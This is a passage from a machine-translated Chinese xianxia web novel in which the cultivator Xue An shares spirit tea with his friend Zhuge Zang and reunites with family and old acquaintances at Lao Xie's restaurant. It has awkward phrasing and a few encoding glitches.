    Nine Turns Lingwu Tea, a kind of spiritual creature that only grows in the depths of the inaccessible starry sky and is accompanied by stars that are about to fall.


    Its tea has a variety of magical functions, so it is sought after by the powers of the heavens. A tea petal is worth ten thousand crystals, and it is extremely rare, and it has no market.


    Unexpectedly, Zhuge Zang said weakly after hearing this sentence: "You are right, that is Nine Transformation Lingwu Tea!"


    Xue An: "..."


    After a while, Xue An smiled, "That''s right, I haven''t tasted this kind of tea yet, I just tasted it this time!"


    Zhuge Zang was distressed and speechless.


    But when Xue An cooked the tea and poured it into the teacup, his eyes were shining brightly.


    I couldn''t wait to pick up the tea cup, and ignored the hot tea soup, drank it directly, and then closed his breath.


    It was not until a long time later that he let out a sigh of relief and almost groaned: "The tea you make is delicious!"


    Xue An smiled, sipped a sip of the tea soup, feeling the wonderful taste of the Nine Turns Lingwu Tea, and then said lightly: "Let��s talk about it, you have worked so hard to come to my hometown to find me. what''s up!"


    Zhuge Zang put down his teacup, his complexion became solemn, "It''s true that I was on a whim some time ago, and I made a big array of deductions, but found that the place where you were born will be a catastrophe. I know that this place is of great significance to you. , But your rebirth time is too short after all, it is very likely that this disaster cannot be eliminated, so I rushed over!"


    After that, Zhuge Zang looked at Xue An with a solemn expression, "Sure enough, not long after I came here, the world suddenly moved, and then the evil spirits appeared in this world, and the evil spirits invaded the outer domain!"


    Xue An looked grateful after hearing the words.


    His relationship with Zhuge Zang is irreversible, but this old man can rush over hundreds of millions of miles because of the earth, which still moved Xue An.


    "Thank you!" Xue An said seriously, holding up his teacup.


    Zhuge Zang shook his head, "Between you and me, why so much courtesy!"


    After drunk the cup of tea again, Zhuge Zang continued: "But I always feel that this time things are a little strange!"


    "Oh? What''s weird?"


    "What I have calculated is a catastrophe, and even this planet will not be spared, but after I came here, although the planet is not peaceful, it is still far from the calculated catastrophe!"


    Of course Xue An wouldn��t say that it��s not good to have no calamity?


    Because he knows Zhuge Zang''s strength.


    Although the strength of this old man is not too high, he can be regarded as unique in the world.


    Since he said that there will be a catastrophe for the earth, there will certainly be.


    And at this moment, Xue An felt a little strange in his heart.


    Paradise Lost came out, but is it just such a disturbance?


    Therefore, after he pondered for a moment, he said in a deep voice: "I also feel that something is wrong, because just before, I just went to Paradise Lost!"


    "Paradise Lost? Tianzha''s site? Did you see him?" Zhuge Zang asked.


    Xue An shook his head, "No, actually I don''t know where Tianzhe is at this moment!"


    Speaking of Xue An, he recounted the story of Lost Paradise.


    Zhuge Zang''s eyebrows wrinkled together after listening.


    "The abyss is also involved in this incident? So, the origin of the people who slaughtered your Chinese people is obviously not small!"


    Xue An sneered coldly when he heard the words, "Of course it''s not small, otherwise I haven''t checked it out yet!"


    Zhuge Zang said solemnly: "If that''s the case, then I will help you deduct it and see where the guy from Tianzhe went!"


    While speaking, Zhuge Zang raised his hand and pulled out six hairs from his head.


    Upon seeing this, Xue An couldn''t help showing a solemn look on his face.


    Because with Zhuge Zang''s strength, he can know most things in the world with his hands.


    If you use equipment, you are serious.


    This time he actually used his precious hair directly, which shows that Zhuge Zang attaches great importance to this matter.


    Don''t underestimate Zhuge Zang''s hair After so many years of practice, these hairs have become a unique magic weapon. With the technique of deduction, you can learn all kinds of secrets.


    At the time when Xue An was secretly surprised and moved.


    Seeing Zhuge Zang muttering a word, he threw his hair into the air abruptly.


    The hair was floating in the air, twisting like a snake.


    Zhuge Zang looked closely, and at the same time, his hands changed rapidly, and the mysterious auras were uncertain.


    Suddenly!


    Zhuge Zang stopped the Yin Jue in his hand.


    "How is it?" Xue An asked.


    At this moment, Zhuge Zang''s face showed a blue and white color, and then the six hairs that were as solid as golden stones in mid-air ignited spontaneously and disappeared into nothing in an instant.


    Zhuge Zang snorted, and then said with an extremely ugly face: "There is an expert who has covered up the secret, I can''t see through it!"

 Chapter 1688： No matter who he is, I have to pay for...

    Xue An seemed to have expected this for a long time, and sighed lightly: "I know that things will not be that simple. If the real murderer can be known behind the scenes only by deduction, why should I explore so hard!"


    Zhuge Zang was silent, and only sighed after a long time: "In fact, I have long felt that under the calm surface of the heavens, there is an undercurrent hidden! I just don''t know who it is!"


    As he said, Zhuge Zang looked at Xue An with piercing eyes, "Now I know, this undercurrent is definitely not trivial, otherwise we can''t set up such a terrifying killing before ten thousand years to slaughter your Chinese!"


    Xue An sneered, "What if it''s no small thing? If you do it, you have to pay a price. This is what I said, no one will come!"


    When he said this, Xue An''s eyebrows were full of murderous intent, and his violent aura was even more turbulent around him, which made people feel disgusted.


    Zhuge Zang nodded, "I understand this naturally! If you succumb, then it will not be the Red Lotus Immortal Venerable that overwhelmed the heavens!"


    Speaking of this, Zhuge Zang suddenly asked: "How far has your current cultivation level been restored?"


    "Above Daluo, the fairy king is not full!"


    "What? You are not the fairy king yet?"


    Zhuge Zang couldn''t help taking a breath, and a look of horror appeared in his eyes.


    He saw the supreme power revealed by Xue An''s gestures, and thought he had already broken through the realm of the fairy king!


    Unexpectedly, it was only the peak of Da Luo.


    This is terrible.


    Because the realm of Daluo alone has such power, if this breaks through and becomes the fairy king, how much is it?


    And what if...returning to the Xianzun fruit position?


    Thinking of this, Zhuge Zang couldn''t help but shake Lingling.


    I am afraid that at that time, the entire heavens and myriad worlds will be restless again!


    Xue An smiled faintly, "Actually, I can break through long ago, but I always feel that I still lack shortcomings, so I have been waiting!"


    "wait for what?"


    Xue An picked up the teacup on the table, and the white porcelain cup was eclipsed by his fingers with distinct joints.


    Then Xue An took a sip and whispered: "Waiting for an opportunity!"


    This is ambiguous, but Zhuge Zang understands it.


    He was silent for a moment, and then nodded, "Brother Xue, no matter what, you remember one sentence, I will always stand behind you and support you!"


    Xue An smiled, then raised his tea cup, "Thank you!"


    This thank you, Xue An comes from the heart.


    Because of the self in the previous life, he had been helped by this old man many times.


    I don''t want Zhuge Zang but shook his head, "What are you talking about between you and me! It''s gone, it''s gone!"


    Xue An knew that this old man had a childish temper, because he laughed, "Speaking of which, you actually owe me a favor!"


    "Oh? What do you say?"


    So Xue An met the two descendants of the Zhuge family, Zhuge Xuanqing and Zhuge Hanzo!


    Then, how to help them escape from the control of Amaterasu God King and so on, I recounted roughly everything.


    After speaking, Xue An smiled and looked at the old man opposite, "That Zhuge Hanzo has a good talent. It can be described as a rising star of your Zhuge family, but he almost lost his life at the hands of the **** Amaterasu. Now he is saved by me. You said, you should How do you thank me?"


    "Is this..." Zhuge Zang couldn''t be more clear about Xue An''s temper. If he really followed his words and said, then he wouldn''t be able to keep any of this stuff.


    Therefore, he rolled his eyes and waved his hand indifferently, "Actually, I am no longer a member of the Zhuge family. As for these descendants, I don''t want to mix with them! But if you can save them, it is their good fortune. So I am here to thank you for them!"


    Seeing Zhuge Zang who was telling nonsense with his eyes open without blinking, Xue An couldn''t help laughing and laughing, and said: "No wonder everyone says people are always treacherous, horses and slippery. It seems that you are really treacherous and cunning!"


    "Hey, tea and tea!"


    "Okay, I didn''t really want your stuff, it scared you!" Xue An smiled, and then the conversation changed.


    "Old man Zhuge, did you tell Zang Xueling my true identity in the ghost world?"


    Zhuge Zang was not surprised that Xue An would ask about this, so he nodded, "Yes! It''s me!"


    "Why do you go to the ghost world in your idle time?"


    "At that time, I happened to pass through the ghost world, only to find that Ye Hanshang''s servant was also reincarnated and rebuilt, and became a big fool! So I counted a hexagram, and the hexagram indicated that you would be the one Turning around, so I told Zang Xueling the news by the way! By the way, I just remembered when you said this, can Ye Hanshang recover?"


    Xue An nodded, "has been restored, and I helped him recast the ghost world, and built an alchemy hell, which is also a place for those lonely ghosts!"


    With that said, Xue An talked about what happened at the time!


    After hearing this, Zhuge Zang heartily sighed and said: "Brother Xue, the other thing I don''t agree with is to persuade you to do things with courage. The alchemy civilization and the ghost world are merged together to build a world, and there is only one among the heavens. You have such a big handwriting and vision!"


    Xue An laughed, "Stop pouring my ecstasy soup, you bad old man is very bad!"


    Having said that, the two laughed at the same time.


    Amidst the laughter, the silence of the entire hall was broken, and noise from the outside rushed in again.


    At the same time, Du Fan, who was sitting aside eating, suddenly noticed something strange.


    Why do you suddenly feel a little uneasy?


    And this feeling is so familiar.


    Du Fan had some doubts in his heart, so he turned his head and looked at Zhuge Zang.


    Xue An was sitting with his back to him, so at a glance, Du Fan could only see the back of a young man in white.


    But it was this figure that made Du Fan''s eyes gradually widen, and his heartbeat began to speed up wildly.


    This back, this temperament...


    Why are you so adult?


    Do not!


    impossible!


    The adults are not on the earth at all, UU reading www. How could uukahnshu.com suddenly appear here?


    But what''s the matter with such an outstanding temperament?


    At this moment, Xue An felt occasionally, and couldn''t help turning his head to look at Du Fan, and then smiled slightly.


    "Du Fan, good evening!"


    After seeing this smile, Du Fan''s whole person was as if struck by lightning, directly stupid in place.


    "What? Are you coming over to eat too?" Xue An said lightly.


    Du Fan''s lips began to tremble, and his excited eyes were a little dizzy, "Yes...yes! Big...sir, is it really you?"


    "What? Haven''t seen me in a few years, don''t you know me?" Xue An smiled.


    Du Fan nodded subconsciously, and then realized that he was so scared that he shook his head like a fan, "Of course not, I will never forget your kindness, I just can''t believe it!"

 Chapter 1689： Grandpa Niubi

    Speaking of this, Du Fan''s eyes were red, and tears flowed out.


    Xue An was also quite moved in his heart.


    This former elder brother of the rivers and lakes is a gracious retribution. He just rewarded him with a few unwanted dragon livers, and he kept it in his heart.


    Seeing how this is today, he should have come to visit Aunt Gu Fatty according to his instructions.


    Thinking of this, Xue An smiled slightly and handed over a cup of tea.


    "Well, you are also a big brother now, what kind of crying you look like! Have a cup of tea!"


    Of course, Xue An has diluted this cup of tea, otherwise, with the spirituality of Nine Transformation Lingwu Tea, this Du Fan will have to be blown up after a cup of tea.


    Du Fan hurried forward and took the cup of tea with both hands.


    Although I don''t know what kind of tea it is, the lingering aura above the cup can also be seen as an extraordinary product.


    Therefore, tears filled his eyes again with excitement, watching Xue An unexpectedly didn''t know what to say.


    Zhuge Zang on the side couldn''t help but said a little amused: "Okay, thank you Brother Xue, you can get his reward twice, and it''s your good fortune!"


    Only then did Du Fan know that this old Dao who was regarded as a liar turned out to be an outsider, and he couldn''t help but glance at Zhuge Zang with a shame on his face.


    Zhuge Zang smiled slightly, not paying attention.


    In fact, with his age and experience, he has long since disregarded the honor and disgrace of the outside world.


    Du Fan took a deep breath and said to Xue An with a serious face: "My lord, I won''t say thank you anymore. You have the kindness of remaking me. From now on, my life for Du Fan will be yours!"


    After all, Du Fan drank the cup of tea.


    Xue An smiled calmly and didn''t say anything.


    At the same time, the fat aunt who was washing the dishes in the back kitchen heard Du Fan yelling in front, and stepped out.


    As she walked, she said, "Little Du, why are you shouting so loudly? This old man just finished eating..."


    Aunt Fatty just wanted to say that Zhuge Zang left after eating. Don''t make him feel embarrassed, but the following words stopped abruptly.


    Because she saw Xue Anye standing up and smiled at her.


    "Auntie Fat!"


    When there was a cry, the plate in Fat Auntie''s hand fell to the ground and smashed to pieces, and then exclaimed: "Xiao An?"


    Xue An smiled and nodded, "Yes, it''s me! Fat aunt, I''m back!"


    As soon as this sentence came out, Aunt Fatty jumped over happily and grasped Xue An''s wrist.


    "Really Xiaoan? I''m not dreaming, am I?"


    There was a warm current in Xue An''s heart, and this was his family.


    Then he chuckles: "Of course it''s not a dream! I''m really back!"


    Aunt Fatty yelled to the chef happily, "Old Xie, don''t be busy and see who is back!"


    Old Xie walked out of the back kitchen slowly and smiled at Xue An.


    This is already the strongest feeling he can express.


    Xue An sighed softly in his heart. Lao Xie was shattered by half of his body last time, and even his soul was scattered between the heavens and the earth. Although he had recovered some of it, he was severely injured after all, so it became what he is now.


    Xue An nodded, "Uncle Xie!"


    "Quickly, sit down! Xiaoan, when did you come back? Where are Yan''er and those two little girls?"


    After sitting down, Aunt Fatty''s hand did not release Xue An''s hand.


    Xue An smiled and replied: "They are all fine, but I just came back and haven''t had time to unlock the seal, so I haven''t come out yet! You can see them in a while!"


    "Good! Good! Just come back! Just come back!" Aunt Fatty was overjoyed, and then she saw Zhuge Zang sitting opposite.


    At this time, Zhuge Zangye had removed all the disguise and suppression. Although he still looked like a white-haired old man, there was a sense of contemplation between his eyes.


    Aunt Fatty couldn''t help being a little surprised, "This..."


    Xue An smiled and said: "Let me introduce, this is my best friend, Zhuge Zang from among the heavens!"


    Only then did Fatty realize that this old man who often came here to eat and drink turned out to be a peerless expert.


    She couldn''t help feeling a little ashamed, and was about to say something.


    Zhuge Zang smiled and waved his hand, "Okay, no introduction, I''m already familiar with Aunt Fatty! Right, Aunt Fatty!"


    Aunt Fatty was so happy that she didn''t know what to say, she suddenly saw the leftovers on the table, and then she patted her forehead and said very annoyed.


    "Xiao An, you probably haven''t eaten when you just came back! I''ll let you thank Uncle to make it for you, and I promise that it''s all you like to eat. Wait!"


    Then Fatty Auntie couldn''t help but went to the back kitchen with Lao Xie.


    Xue quietly looked at the back of the two of them, without speaking.


    Zhuge Zang on the other side sighed softly, "Good guy!"


    Then he smiled and looked at Xue An, "What? Are you not going to let me see my younger brother and sister and the two little princesses?"


    Xue An smiled freely, "Of course not!"


    With that, Xue An raised his hand and pressed it on his forehead, after a brilliance flashed.


    The seal that was added for the sake of safety when crossing the passage of time and space was broken.


    Immediately afterwards, An Yan led Miss Missing to come out first, followed by Fan Mengxue, Hu Ying, Zhang Xiaoyu, and Luo Lanting.


    Even Xiao Rui came out at the end.


    For a time the field became very lively.


    As everyone appeared, Zhuge Zang''s eyes gradually became surprised.


    At this moment, Hu Ying did not know when he appeared next to Zhuge Zang, and then grabbed the little hair bun behind his head, and shouted with joy: "Grandpa Niubi, are you here?"


    "Little Fox...Little Foxying?" Zhuge Zang''s eyes gradually widened.


    "Yes, it''s me! Grandpa Niubi, didn''t you expect it!" Hu Ying smiled happily.


    "Oh, Grandpa Niubi, how come your hair bun is so much smaller? Are you going to be bald soon?" As he said, Hu Ying pinched Zhuge Zang''s small hair bun.


    Zhuge Zang''s face suddenly became more bitter than bitter gourd.


    Because he never dreamed that this little wronged house would appear here.


    "Xue An, why is she here?" Zhuge Zang said with a stunned face, enduring Hu Ying''s torture.


    Xue An said with a smile, "She is here!"


    "Then why don''t you tell me?"


    "The point is that you didn''t ask!"


    Zhuge Zang Then he took a deep breath, turned his head and squeezed a smile that was worse than crying at Hu Ying.


    "Grandma, can you stop pulling? I only have so few hairs left!"


    "Grandpa Niubi, I just want to pull this updo! Hahahaha!" Hu Ying smiled very proudly.


    Missing Nian looked at this scene in a daze, and then gently tugged the corner of Xue An''s clothes.


    "Dad, what''s wrong with Sister Fox? Why are you so happy?"


    "Yes! Who is this grandfather?"


    Xue An smiled and said, "Well... it''s a long story!"

 Chapter 1690： Angry Tea Egg

    Xue An in the previous life not only cultivated as a peerless immortal, but also gained a group of like-minded friends.


    Among them, the best relationship is Hu Ye, Ye Hanshang, Zhuge Zang and others.


    However, Zhuge Zang and Hu Ye met earlier.


    In fact, not only with Fox Ye, Zhuge Zang and the elders of Qingqiu Fox Country are very good.


    In the words of Fox Ye, this old man came to Qingqiu Fox Country to eat and drink when he was fine.


    But because of this, Hu Ying already knew Zhuge Zang when she was very young.


    At that time, it was just that Hu Ying, who had just opened his mind, rarely saw outsiders in Qingqiu Fox Country, so every time Zhuge came to Tibet, she would pester him and listen to him telling interesting things about the outside world.


    Zhuge Zang is also quite fond of this little fox who often follows his ass, and often brings some outside gadgets to her.


    But later, as Huying grew up, his temperament became more and more eccentric. Especially after getting to know Xue An, Huying would often use some naughty methods to trick Zhuge Zang.


    Of course Zhuge Zang would not take this to heart, thinking that it was just a child''s innocence.


    Until one time Zhuge Zang drank with the great elder of the Qingqiu Fox Country, and the result was drunk.


    This is a normal thing.


    But Hu Ying didn''t know where she got a razor made of fine gold.


    This thing is generally used in Buddhism to shave those big demons who have taken refuge, and it is extremely sharp.


    No matter how hard the hair is, it can be shaved cleanly.


    Hu Ying has always been very interested in the little bun behind Zhuge Zang''s head, but Zhuge Zang did not allow her to touch it.


    Therefore, Hu Ying generally shaved Zhuge Zang''s hair clean this time.


    Not even the beard he had been proud of was left.


    During the whole process, Zhuge Zang was unconscious in drinking, so he didn''t notice the slightest.


    It was not until the next morning that Zhuge Zang noticed something strange after he woke up.


    Why is the top of your head suddenly chilly?


    After touching it with his hand, Zhuge Zang realized that his head was extremely smooth.


    At that time, Zhuge Zang was awakened, jumped up from the bed, leaned in front of the mirror to take a photo, and was so angry that he almost vomited blood.


    Because the hair and beard he has always been proud of are all "missing" at this moment.


    Only one big round, shiny egg was left, and the room illuminated by it was a bit brighter than before.


    I have to say that Hu Ying''s craftsmanship is still good, and after shaving her hair, for fear that Zhuge Zang''s head is not bright enough, she also bought him a bottle of walnut oil for a plate, so it showed the current effect.


    At that time, Zhuge Zang was so angry that he screamed and rushed out to find someone from Qingqiu Fox Country to settle accounts.


    Several elders from Qingqiu Fox Country rushed over after hearing the news, and then... all laughed on the spot.


    Because Zhuge Zang was very indifferent to monks on weekdays, and he mocked and mocked all day long, thinking that the bald head of the monk was simply too ugly.


    Unexpectedly, he became a bald head in an instant.


    Looking at the people who couldn''t afford to laugh, Zhuge Zang was so angry that he almost died on the spot. He roared and asked Qingqiu Fox Country to explain why he lost all his hair after sleeping.


    These elders of the Qingqiu Fox Country naturally know that it is very disrespectful to laugh like this, but there is no way, I can''t help it!


    Especially when Zhuge Zang roared, his shiny head was filled with smoke, like an angry tea egg.


    Just when Zhuge Zang was so angry that he would break off friendship with Qingqiu Fox Country on the spot, Hu Ying, who knew that she had done something wrong, stood up timidly and admitted that she did it herself.


    At this time, Zhuge Zang could only swallow all the harsh words that followed.


    No way, he is the first fortune in the heavens, can he still care about a little fox?


    Therefore, he could only give Hu Ying a depressed look, and finally stomped and sighed.


    "You kid is really...oh! You said you shave your hair when you shave it, even if my eyebrows are shaved off, what''s the matter? How can I see people?"


    At that time, Hu Ying smiled and took out a wig from behind.


    "Grandpa Niubi, I have already thought about it for you, can I wear a wig if my hair is gone! As for the eyebrows, should I draw two for you?"


    Zhuge Zang was almost crying with anger at the time, but couldn''t help but shook his head with a wry smile, and then hurriedly left Qingqiu Fox Country.


    no way!


    At that time, there were more and more fox monsters who came to watch the excitement after hearing the news, and all of them couldn''t help laughing.


    Zhuge Zang could only leave the Qingqiu Fox Country in shame and anger, and then found a desolate world for more than a year, until his hair grew back to daring to come out to see people.


    However, since then, Zhuge Zang has kept away from this quirky Fox Ying.


    As long as he heard her appear, Zhuge Zang would hide away.


    But I didn''t expect to encounter it here again this time.


    This is why Zhuge Zang had such a big reaction after seeing Hu Ying.


    No way, there is already a shadow in his heart.


    I saw Fox Ying smiling and saying: "Grandpa Niubi, I think your hair seems to be a lot less, but I have heard a recipe saying that as long as you shave your hair clean, you will have more hair when it grows out again! How about... Try again?"


    Zhuge Zang shook his head like a fan, "Forget it, let them fall off naturally!"


    Hu Ying was amused, but at the same time apologetic.


    She was really naughty when she was a child, so she has done a lot of ridiculous things.


    But now that she has grown up, she certainly won''t do that again.


    Now it''s just to tease Zhuge Zang.


    I didn��t expect that Zhuge Zang would have such a big reaction. It seems that what I did was a bit too much Xue An was also a little bit jealous at this time, but looking at Zhuge Zang��s constipation expression, it was Can''t help but say: "Okay, Ying''er, stop making trouble! No matter how much he is your predecessor, how can he keep playing tricks!"


    This is very nice, but Zhuge Zang didn''t have the slightest gratitude, because at this time the happiest smile in the audience was his Xue An.


    At this time, the two little girls thinking and Niannian approached Zhuge Zang, then tilted their heads and asked curiously: "Grandpa, what''s the matter with you? What''s wrong?"


    "Yeah! Why is your face so ugly? Are you going to die?" Nian Nian Shen made up the knife.


    Zhuge Zang: "..."


    But in the face of this pair of pink jade carvings, who seemed to come out of the painting, Zhuge Zang couldn''t get angry at all.


    Even if he is the first fortune in the heavens, when he is his age, when he sees these lovely children, his heart will be full of pampering unconsciously.


    What''s more, these two little girls are the daughters of their best friends.

 Chapter 1691： This is my promise

    So he smiled and leaned down, "Grandpa is okay! Come, tell grandpa, who is your sister and who is your sister?"


    It seems that everyone who meets them for the first time will ask this question.


    Therefore, the two little girls did not answer directly, but said grinning: "Grandpa, guess who we are the sister and who is the sister!"


    "Ok����."


    Zhuge Zang was a little bit troubled, because the two little girls were exactly the same regardless of their height or appearance, and they looked like a mold when they stood together.


    Of course, if Zhuge Zang wanted to calculate, he would be able to tell the difference with a casual calculation.


    But if it is not necessary, Zhuge Zang rarely deduces secrets.


    In his words, if all the things that will happen in the future are calculated clearly, what is the meaning of life?


    Therefore, he looked at it for a while with a little embarrassment, and finally shook his head, "Can''t guess it!"


    "Hehe, grandpa is so stupid! Next to my sister is my sister!"


    "Yes, my sister is next to my sister!"


    The two little girls smiled and bent over.


    Zhuge Zang was also startled, and then laughed.


    "They are really two talented little girls! Come, this is a meeting gift from Grandpa!"


    With that said, Zhuge Zang took out two small gossip mirrors from his arms.


    When Xue An saw this, Guanghua flashed in his eyes, but didn''t say anything.


    "Come on, this is yours! This is yours!" Zhuge Zang gave the two gossip mirrors to his thoughts and misses with a face full of affection.


    "Thank you Grandpa!"


    Then the two little girls curiously fiddled with the gossip mirror in their hands.


    Suddenly, the gossip mirror began to turn and let out a little light.


    "Wow, it will move!"


    The two little girls were as excited as they discovered the new world.


    But how did the two of them know that when the two gossip mirrors turned, all their own secrets were perfectly concealed.


    That is to say, if someone wants to detect these two little girls by deducing secrets in the future, the result will be nothing.


    Unless the opponent can surpass Zhuge Zang in the deduction of heaven, there is no way to crack it.


    The value of this gift is too great!


    Therefore Xue Anchong Zhuge Zang nodded to show his gratitude.


    Zhuge Zang smiled slightly, then glanced at Hu Ying standing next to him, sighed, and took out another small thing.


    "No, Xiaohuying, this is a gift for you. I originally wanted to give it to you when I went to Qingqiu Fox Country. I just happened to see it now, so let''s give it to you first!"


    Hu Ying was a little surprised!


    She didn''t expect that Zhuge Zang even prepared a gift for herself, so she was a little dazed.


    "Ying''er, don''t thank this senior!" At this moment, An Yan stepped forward to remind.


    "Thank you... Grandpa!" Hu Ying accepted the present with some shame, and then stepped aside.


    Then An Yan smiled at Zhuge Zang, "Senior, thank you for the gift I miss! My name is An Yan, and I am Xue An''s wife!"


    These words were generous and generous, Zhuge Zang''s eyes lit up, and then he said solemnly: "My younger brothers and sisters don''t need so much courtesy, I have no relationship with Brother Xue, so what a mere gift!"


    "Yeah, Yan''er, you don''t need to be polite to him. This guy is like Fox Ye, you can just treat him as a big brother!" Xue An added a little weary from the side.


    An Yan smiled, but did not speak, but quietly stepped aside.


    At this moment, the fat aunt came out from the back kitchen carrying the food. When she saw so many people, she was taken aback. But when she saw An Yan and the two little girls in the crowd, she was overjoyed. Shouted.


    "Miss Yan and Miss Miss are back!"


    An Yan smiled back, "Fat Aunt!"


    The two little girls also ran over. Aunt Fatty quickly put down the food, then squatted down and hugged the two of them, very affectionate.


    At this time, Fan Mengxue stood up, "I''ll go to the back kitchen to see if I can help!"


    Zhang Xiaoyu also shouted: "I will go too!"


    Luo Lanting didn''t speak, but he also got up and walked to the back kitchen.


    The fat aunt waved her hands again and again, "Oh no, no need, the food is already done, just sit here!"


    But An Yan smiled and said, "Okay, Fatty, how can so many of us watch you work alone, let us help you out! It also looks lively!"


    After all, An Yan went to the kitchen with him.


    There are so many people to handle things, and soon a large table of dishes are ready.


    Because there were too many people, Aunt Fatty put together a few big round tables.


    Then a group of people sat together and began to enjoy the first dinner after returning to Earth.


    At this time An Yan asked Xue An quietly, "Husband, call Xuan''er to come over!"


    Before Xue An could speak, the fat aunt smiled and said, "Yan''er, you don''t know, Miss Xuan''er is not in Beijiang at all now!"


    "Huh? Where did she go?"


    "She, Jingjing, and your sister Qinger and others are defending in outer space!"


    "Outer space defense? What''s the matter?" An Yan was a little surprised.


    Xue An smiled, "It''s nothing, it''s just a small matter! Let''s eat first!"


    An Yan wanted to ask, but seeing Xue An''s appearance, he swallowed again.


    At this time, Xue An looked at Aunt Fatty again, "Aunt Fatty, where is my Uncle Xie?"


    "Ah! He, he is busy in the back kitchen now!"


    "Why don''t you ask him to come over for dinner?"


    "Hey, he doesn''t know anything now, why should he come over!"


    Xue An shook his head, "I''ll call him!"


    With that, Xue An got up and went to the back kitchen.


    At this moment, Lao Xie was bending over to wash the pots and pans.


    Looking at this taciturn man, Xue An suddenly recalled that he was destitute and could not even afford to eat. It was this man who patted his shoulder and said.


    "Little brother, if you don''t dislike it, you will come over to eat every day from now on, and then bring some back. I am afraid to say anything else, at least I can let you and your wife eat a few full meals!"


    It is this simple sentence that Xue An has remembered to this day.


    So he stayed silent for a moment, and then said softly: "Thank you!"


    Lao Xie stopped the movements in his hands and turned around slowly, looking at Xue An somewhat blankly.


    Because half of the face is an alchemy machine, even though the surface is covered with a layer of artificial skin, it still feels very unnatural at first glance.


    "Uncle Xie, I''m back! Let''s go and have two drinks with me! I have always wanted to taste the wine you hid!" Xue An said with a smile.


    Old Xie grinned, even though he didn''t remember anything, he still smiled very happily.


    Xue An''s eyes suddenly turned red, and then he stepped forward and took Lao Xie''s hand to drag him to the table, and sat down next to him.


    Upon seeing this, the fat aunt turned her face to wipe the tears from the corner of her eyes, and then said with some embarrassment: "It''s so big, I''m lost in my eyes! I''ll get wine!"


    Soon Fat aunt went to the back storeroom and took out the wine that Lao Xie treasured.


    Although these drinks are not as good as those that Xue An had drunk among the heavens, neither he nor Zhuge Zang filled the wine with a solemn expression.


    Then Xue An raised his glass and said to Lao Xie: "Uncle Xie, come, let''s drink!"


    After all, Xue An drank it all.


    Old Xie smiled stupidly, and then drank the wine in one glass as Xue An did.


    After Xue An finished drinking, he gently put the wine glass on the table and suddenly said, "Old man Zhuge, do me a favor!"


    Zhuge Zang immediately said: "Okay!"


    Xue An''s eyes became extremely firm, "I want to heal Uncle Xie!"


    "No matter what the cost, I will cure him! This is my promise to him!"


    Zhuge Zang''s eyes gradually became sharp, and then nodded, "Understood!"

 Chapter 1692： Grateful

    Hearing Xue An��s promise, Aunt Fatty cried with joy and choked up and said, ��Xiao An, this senior, thank you, I...��


    Zhuge Zang waved his hand, and smiled freely, "Why do you need so many gifts? I have eaten a lot of your meals for nothing over the past year. This is what I paid for the meal!"


    Xue An also said: "Yes, Fat Auntie, this is what we should do, and you can rest assured that we can definitely restore Uncle Xie to normal!"


    Aunt Fatty looked at Old Xie, who was sitting aside like a wooden man, with teary eyes, and whispered softly: "In fact, it doesn''t matter if it is not cured!"


    The dinner table gradually calmed down.


    Aunt Fatty lowered her head, "At the very beginning, I couldn��t accept it. I forced Lao Xie to speak every day, trying to restore him to his previous appearance, but gradually, I became less obsessed with this matter, because I want to open it!"


    Speaking of this, Aunt Fatty raised her head with a smile on her face that was more ugly than crying. Her voice tremblingly said: "Xiao''an, Aunt Fatty, I thank you for your kindness, but if it is not cured, Aunt Fatty will not I will blame you, really!"


    "Because compared to those who completely lost their relatives, I am lucky enough, at least I can see him every day when I open my eyes, even if he doesn''t remember anything, but as long as he can stay by my side, I There is no more extravagance!"


    Everyone was silent.


    There were tears in An Yan''s eyes. Why didn''t she understand how Fat Auntie felt now?


    After Xue An disappeared, didn''t he just live in pain every day?


    That kind of taste, even if it was just thinking about it, An Yan would tremble all over.


    As if feeling the strangeness of An Yan, Xue An gently put his hand on her knee.


    An Yan looked up at him.


    Xue An smiled at her, although he did not speak, his eyes were full of pity.


    Seeing this scene, Fan Mengxue, who was sitting opposite, lowered her head sadly.


    At this moment, Zhuge Zang, who felt the atmosphere at the dinner table was a little low, said quickly: "Okay, well, today is the day when Xiaoan returns. Let''s all be happy!"


    Aunt Fatty quickly wiped away the tears from her face, "Yes, yes! Today is a happy day. Let''s not talk about the unhappy things. Come on, Aunt Fatty, I will bring wine with a drink. Let''s have a drink!"


    The crowd moved sensationally.


    "Come on! Have a drink!"


    The atmosphere instantly became warm.


    And just when everyone is pushing the cup and changing the cup, talking and laughing.


    In an alley diagonally across from Lao Xie Hotel, Du Fan, who was sitting in the car with his eyes closed, suddenly opened his eyes.


    In an instant, a powerful and domineering aura hits his face.


    In his eyes, there was a dazzling brilliance, which made people afraid to look directly.


    Du Fan let out a sigh of relief slowly, the brilliance in his eyes gradually faded, and the violent aura that had just converged.


    Despite this, between his gestures, he still showed stern air from time to time.


    If someone sees this scene next to him, he will definitely exclaim, because at this moment Du Fan is already a strong man in the longevity realm.


    The existence of these realms, even in today''s earth, is considered to be a powerful person.


    Du Fan naturally felt the change in realm, and his face showed excitement.


    Because just now, after drinking the cup of tea that Xue An rewarded him, he felt as if a fire was burning in his five internal organs, and the pure aura was constantly washing away the impurities in his body.


    Du Fan knew that this was caused by the cup of spiritual tea, and this would also be a good opportunity for himself to break through the current realm.


    You must know that due to the limitations of talent and aptitude, Du Fan has been trapped in the scattered fairyland, and has not been saved for a long time.


    Du Fan had already accepted his fate.


    After all, if it were not for the dragon liver bestowed by Xue An, he might not even be able to cultivate the heaven and human realm, let alone disperse immortals.


    But I never expected that I would encounter another opportunity of a lifetime.


    So Du Fan immediately withdrew from the Lao Xie Hotel, got in the car where he came, and then meditated intently, trying to hit the longevity realm.


    As a result, he broke through Sanxian easily and came to the realm of longevity without experiencing any waves.


    Although it is still incomparable to those top powerhouses who are Jinxianxiu at every turn, Du Fan is already very satisfied with this.


    After all, a long time ago, he was an ordinary man who could not enter the door of cultivation!


    Thinking of this, Du Fan couldn''t help being full of gratitude to Xue An.


    It is no exaggeration to say that even if Xue An asks Du Fan to wipe his neck now, he will not have the slightest complaint.


    Because it is only after the longevity that the practice is difficult and difficult.


    Xue An gave him two opportunities in a row. How could he not be grateful for this.


    Slightly calming the boiling blood in his chest, Du Fan lowered the car window.


    The guards in the distance rushed over immediately.


    "Brother Fan!"


    "During the time I was meditating, was there anything unusual around the restaurant?" Du Fan said in a deep voice.


    "Brother Hui Fan, the few of us carefully inspected the surroundings according to your instructions and found nothing unusual!"


